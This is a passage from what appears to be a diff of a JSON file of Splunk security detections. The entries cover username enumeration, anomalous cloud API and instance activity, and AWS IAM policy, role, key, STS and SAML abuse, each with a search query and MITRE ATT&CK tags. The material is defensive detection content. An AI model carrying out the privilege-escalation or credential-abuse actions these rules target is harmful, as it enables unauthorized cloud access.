"medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Splunk User Enumeration Attempt", - "description": "The following analytic identifies attempts to enumerate usernames in Splunk by detecting multiple failed authentication attempts from the same source. It leverages data from the `_audit` index, specifically focusing on failed authentication events. This activity is significant for a SOC because it can indicate an attacker trying to discover valid usernames, which is a precursor to more targeted attacks like password spraying or brute force attempts. If confirmed malicious, this activity could lead to unauthorized access, compromising the security of the Splunk environment and potentially exposing sensitive data.", - "search": " `splunkd_failed_auths` | stats count(user) as auths by user, src | where auths>5 | stats values(user) as user, sum(auths) as TotalFailedAuths by src | `splunk_user_enumeration_attempt_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$TotalFailedAuths$ failed authentication events to Splunk from $src$ detected.", - "risk_score": 40, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Infrastructure API Calls", - "description": "The following analytic detects a spike in the number of API calls made to your cloud infrastructure by a user. It leverages cloud infrastructure logs and compares the current API call volume against a baseline probability density function to identify anomalies. This activity is significant because an unusual increase in API calls can indicate potential misuse or compromise of cloud resources. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or disruption of cloud services, posing a significant risk to the organization's cloud environment.", - "search": "| tstats count as api_calls values(All_Changes.command) as command from datamodel=Change where All_Changes.user!=unknown All_Changes.status=success by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join user HourOfDay isWeekend [ summary cloud_excessive_api_calls_v1] | where cardinality >=16 | apply cloud_excessive_api_calls_v1 threshold=0.005 | rename \"IsOutlier(api_calls)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | where api_calls > expected_upper_threshold | eval distance_from_threshold = api_calls - expected_upper_threshold | table _time, user, command, api_calls, expected_upper_threshold, distance_from_threshold | `abnormally_high_number_of_cloud_infrastructure_api_calls_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account", - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "user $user$ has made $api_calls$ api calls, violating the dynamic threshold of $expected_upper_threshold$ with the following command $command$.", - "risk_score": 15, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Instances Destroyed", - "description": "The following analytic identifies an abnormally high number of cloud instances being destroyed within a 4-hour period. It leverages cloud infrastructure logs and applies a probability density model to detect outliers. This activity is significant for a SOC because a sudden spike in destroyed instances could indicate malicious activity, such as an insider threat or a compromised account attempting to disrupt services. If confirmed malicious, this could lead to significant operational disruptions, data loss, and potential financial impact due to the destruction of critical cloud resources.", - "search": "| tstats count as instances_destroyed values(All_Changes.object_id) as object_id from datamodel=Change where All_Changes.action=deleted AND All_Changes.status=success AND All_Changes.object_category=instance by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join HourOfDay isWeekend [summary cloud_excessive_instances_destroyed_v1] | where cardinality >=16 | apply cloud_excessive_instances_destroyed_v1 threshold=0.005 | rename \"IsOutlier(instances_destroyed)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | eval distance_from_threshold = instances_destroyed - expected_upper_threshold | table _time, user, instances_destroyed, expected_upper_threshold, distance_from_threshold, object_id | `abnormally_high_number_of_cloud_instances_destroyed_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Instance Activities" - ], - "asset_type": "Cloud Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Instances Launched", - "description": "The following analytic detects an abnormally high number of cloud instances launched within a 4-hour period. It leverages cloud infrastructure logs and applies a probability density model to identify outliers based on historical data. This activity is significant for a SOC because a sudden spike in instance creation could indicate unauthorized access or misuse of cloud resources. If confirmed malicious, this behavior could lead to resource exhaustion, increased costs, or provide attackers with additional compute resources to further their objectives.", - "search": "| tstats count as instances_launched values(All_Changes.object_id) as object_id from datamodel=Change where (All_Changes.action=created) AND All_Changes.status=success AND All_Changes.object_category=instance by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join HourOfDay isWeekend [summary cloud_excessive_instances_created_v1] | where cardinality >=16 | apply cloud_excessive_instances_created_v1 threshold=0.005 | rename \"IsOutlier(instances_launched)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | eval distance_from_threshold = instances_launched - expected_upper_threshold | table _time, user, instances_launched, expected_upper_threshold, distance_from_threshold, object_id | `abnormally_high_number_of_cloud_instances_launched_filter`", - "tags": { - "analytic_story": [ - "Cloud Cryptomining", - "Suspicious Cloud Instance Activities" - ], - "asset_type": "Cloud Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Security Group API Calls", - "description": "The following analytic detects a spike in the number of API calls made to cloud security groups by a user. It leverages data from the Change data model, focusing on successful firewall-related changes. This activity is significant because an abnormal increase in security group API calls can indicate potential malicious activity, such as unauthorized access or configuration changes. If confirmed malicious, this could allow an attacker to manipulate security group settings, potentially exposing sensitive resources or disrupting network security controls.", - "search": "| tstats count as security_group_api_calls values(All_Changes.command) as command from datamodel=Change where All_Changes.object_category=firewall AND All_Changes.status=success by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join user HourOfDay isWeekend [ summary cloud_excessive_security_group_api_calls_v1] | where cardinality >=16 | apply cloud_excessive_security_group_api_calls_v1 threshold=0.005 | rename \"IsOutlier(security_group_api_calls)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | where security_group_api_calls > expected_upper_threshold | eval distance_from_threshold = security_group_api_calls - expected_upper_threshold | table _time, user, command, security_group_api_calls, expected_upper_threshold, distance_from_threshold | `abnormally_high_number_of_cloud_security_group_api_calls_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "user $user$ has made $api_calls$ api calls related to security groups, violating the dynamic threshold of $expected_upper_threshold$ with the following command $command$.", - "risk_score": 15, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS Create Policy Version to allow all resources", - "description": "The following analytic identifies the creation of a new AWS IAM policy version that allows access to all resources. It detects this activity by analyzing AWS CloudTrail logs for the CreatePolicyVersion event with a policy document that grants broad permissions. This behavior is significant because it violates the principle of least privilege, potentially exposing the environment to misuse or abuse. If confirmed malicious, an attacker could gain extensive access to AWS resources, leading to unauthorized actions, data exfiltration, or further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=CreatePolicyVersion eventSource = iam.amazonaws.com errorCode = success | spath input=requestParameters.policyDocument output=key_policy_statements path=Statement{} | mvexpand key_policy_statements | spath input=key_policy_statements output=key_policy_action_1 path=Action | where key_policy_action_1 = \"*\" | stats count min(_time) as firstTime max(_time) as lastTime values(key_policy_statements) as policy_added by eventName eventSource aws_account_id errorCode userAgent eventID awsRegion user user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`|`aws_create_policy_version_to_allow_all_resources_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ created a policy version that allows them to access any resource in their account.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "aws detect attach to role policy", - "description": "The following analytic identifies a user attaching a policy to a different role's trust policy in AWS. It leverages CloudWatch logs to detect the `attach policy` event, extracting relevant fields such as `policyArn`, `sourceIPAddress`, and `userIdentity`. This activity is significant as it can indicate attempts at lateral movement or privilege escalation within the AWS environment. If confirmed malicious, an attacker could gain elevated permissions, potentially compromising sensitive resources and data within the AWS infrastructure.", - "search": "`aws_cloudwatchlogs_eks` attach policy| spath requestParameters.policyArn | table sourceIPAddress user_access_key userIdentity.arn userIdentity.sessionContext.sessionIssuer.arn eventName errorCode errorMessage status action requestParameters.policyArn userIdentity.sessionContext.attributes.mfaAuthenticated userIdentity.sessionContext.attributes.creationDate | `aws_detect_attach_to_role_policy_filter`", - "tags": { - "analytic_story": [ - "AWS Cross Account Activity" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "aws detect permanent key creation", - "description": "The following analytic detects the creation of permanent access keys in AWS accounts. It leverages CloudWatch logs to identify events where the `CreateAccessKey` action is performed by IAM users. Monitoring the creation of permanent keys is crucial as they are not created by default and are typically used for programmatic access. If confirmed malicious, this activity could allow attackers to gain persistent access to AWS resources, potentially leading to unauthorized actions and data exfiltration.", - "search": "`aws_cloudwatchlogs_eks` CreateAccessKey | spath eventName | search eventName=CreateAccessKey \"userIdentity.type\"=IAMUser | table sourceIPAddress userName userIdentity.type userAgent action status responseElements.accessKey.createDate responseElements.accessKey.status responseElements.accessKey.accessKeyId |`aws_detect_permanent_key_creation_filter`", - "tags": { - "analytic_story": [ - "AWS Cross Account Activity" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "aws detect role creation", - "description": "The following analytic identifies the creation of new IAM roles by users in AWS. It leverages CloudWatch logs to detect events where the `CreateRole` action is performed, focusing on roles with specific trust policies. This activity is significant as unauthorized role creation can facilitate lateral movement and privilege escalation within the AWS environment. If confirmed malicious, attackers could gain elevated permissions, potentially compromising sensitive resources and data.", - "search": "`aws_cloudwatchlogs_eks` event_name=CreateRole action=created userIdentity.type=AssumedRole requestParameters.description=Allows* | table sourceIPAddress userIdentity.principalId userIdentity.arn action event_name awsRegion http_user_agent mfa_auth msg requestParameters.roleName requestParameters.description responseElements.role.arn responseElements.role.createDate | `aws_detect_role_creation_filter`", - "tags": { - "analytic_story": [ - "AWS Cross Account Activity" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "aws detect sts assume role abuse", - "description": "The following analytic identifies suspicious use of the AWS STS AssumeRole action. It leverages AWS CloudTrail logs to detect instances where roles are assumed, focusing on specific fields like source IP address, user ARN, and role names. This activity is significant because attackers can use assumed roles to move laterally within the AWS environment and escalate privileges. If confirmed malicious, this could allow attackers to gain unauthorized access to sensitive resources, execute code, or further entrench themselves within the environment, leading to potential data breaches or service disruptions.", - "search": "`cloudtrail` user_type=AssumedRole userIdentity.sessionContext.sessionIssuer.type=Role | table sourceIPAddress userIdentity.arn user_agent user_access_key status action requestParameters.roleName responseElements.role.roleName responseElements.role.createDate | `aws_detect_sts_assume_role_abuse_filter`", - "tags": { - "analytic_story": [ - "AWS Cross Account Activity" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS SAML Access by Provider User and Principal", - "description": "The following analytic identifies specific SAML access events by a service provider, user, and targeted principal within AWS. It leverages AWS CloudTrail logs to detect the `AssumeRoleWithSAML` event, analyzing fields such as `principalArn`, `roleArn`, and `roleSessionName`. This activity is significant as it can indicate abnormal access patterns or potential credential hijacking, especially in federated environments using the SAML protocol. If confirmed malicious, this could allow attackers to assume roles and gain unauthorized access to sensitive AWS resources, leading to data breaches or further exploitation.", - "search": "`cloudtrail` eventName=Assumerolewithsaml | stats count min(_time) as firstTime max(_time) as lastTime by eventName requestParameters.principalArn requestParameters.roleArn requestParameters.roleSessionName recipientAccountId responseElements.issuer sourceIPAddress userAgent | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |`aws_saml_access_by_provider_user_and_principal_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse" - ], - "asset_type": "AWS Federated Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "sourceIPAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "recipientAccountId", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "From IP address $sourceIPAddress$, user agent $userAgent$ has trigged an event $eventName$ for account ID $recipientAccountId$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS SAML Update identity provider", - "description": "The following analytic detects updates to the SAML provider in AWS. It leverages AWS CloudTrail logs to identify the `UpdateSAMLProvider` event, analyzing fields such as `sAMLProviderArn`, `sourceIPAddress`, and `userIdentity` details. Monitoring updates to the SAML provider is crucial as it may indicate a perimeter compromise of federated credentials or unauthorized backdoor access set by an attacker. If confirmed malicious, this activity could allow attackers to manipulate identity federation, potentially leading to unauthorized access to cloud resources and sensitive data.", - "search": "`cloudtrail` eventName=UpdateSAMLProvider | stats count min(_time) as firstTime max(_time) as lastTime by eventType eventName requestParameters.sAMLProviderArn userIdentity.sessionContext.sessionIssuer.arn sourceIPAddress userIdentity.accessKeyId userIdentity.principalId | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |`aws_saml_update_identity_provider_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse" - ], - "asset_type": "AWS Federated Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "sourceIPAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "userIdentity.principalId", - "type": "User", - "role": [ - "Victim", - "Target" - ] - } - ], - "message": "User $userIdentity.principalId$ from IP address $sourceIPAddress$ has trigged an event $eventName$ to update the SAML provider to $requestParameters.sAMLProviderArn$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS 